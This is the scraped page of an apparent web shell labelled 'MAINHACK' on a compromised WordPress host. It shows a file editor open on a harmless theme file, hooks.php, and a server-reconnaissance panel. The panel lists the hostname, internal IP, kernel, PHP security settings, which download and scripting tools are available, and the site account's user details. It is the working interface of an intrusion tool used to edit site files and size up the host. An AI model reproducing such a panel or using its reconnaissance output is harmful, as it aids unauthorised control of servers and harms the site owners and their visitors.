[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: hooks.php
<?php /** * Theme Hook Alliance * * @link https://github.com/zamoose/themehookalliance * * @package Auberge * @copyright WebMan Design, Oliver Juhas * * @since 1.0 * @version 2.0 */ /** * Theme Hook Alliance hook stub list. * * @package themehookalliance * @version 1.0-draft * @since 1.0-draft * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU General Public License, v2 (or newer) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ /** * Define the version of THA support, in case that becomes useful down the road. */ define( 'THA_HOOKS_VERSION', '1.0-draft' ); /** * Themes and Plugins can check for tha_hooks using current_theme_supports( 'tha_hooks', $hook ) * to determine whether a theme declares itself to support this specific hook type. * * Example: * <code> * // Declare support for all hook types * add_theme_support( 'tha_hooks', array( 'all' ) ); * * // Declare support for certain hook types only * add_theme_support( 'tha_hooks', array( 'header', 'content', 'footer' ) ); * </code> */ add_theme_support( 'tha_hooks', array( 'all' ) ); /** * Determines, whether the specific hook type is actually supported. * * Plugin developers should always check for the support of a <strong>specific</strong> * hook type before hooking a callback function to a hook of this type. * * Example: * <code> * if ( current_theme_supports( 'tha_hooks', 'header' ) ) * add_action( 'tha_head_top', 'prefix_header_top' ); * </code> * * @param bool $bool True * @param array $args The hook type being checked * @param array $registered All registered hook types * * @return bool */ function tha_current_theme_supports( $bool, $args, $registered ) { return in_array( $args[0], $registered[0] ) || in_array( 'all', $registered[0] ); } // /tha_current_theme_supports add_filter( 'current_theme_supports-tha_hooks', 'tha_current_theme_supports', 10, 3 );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129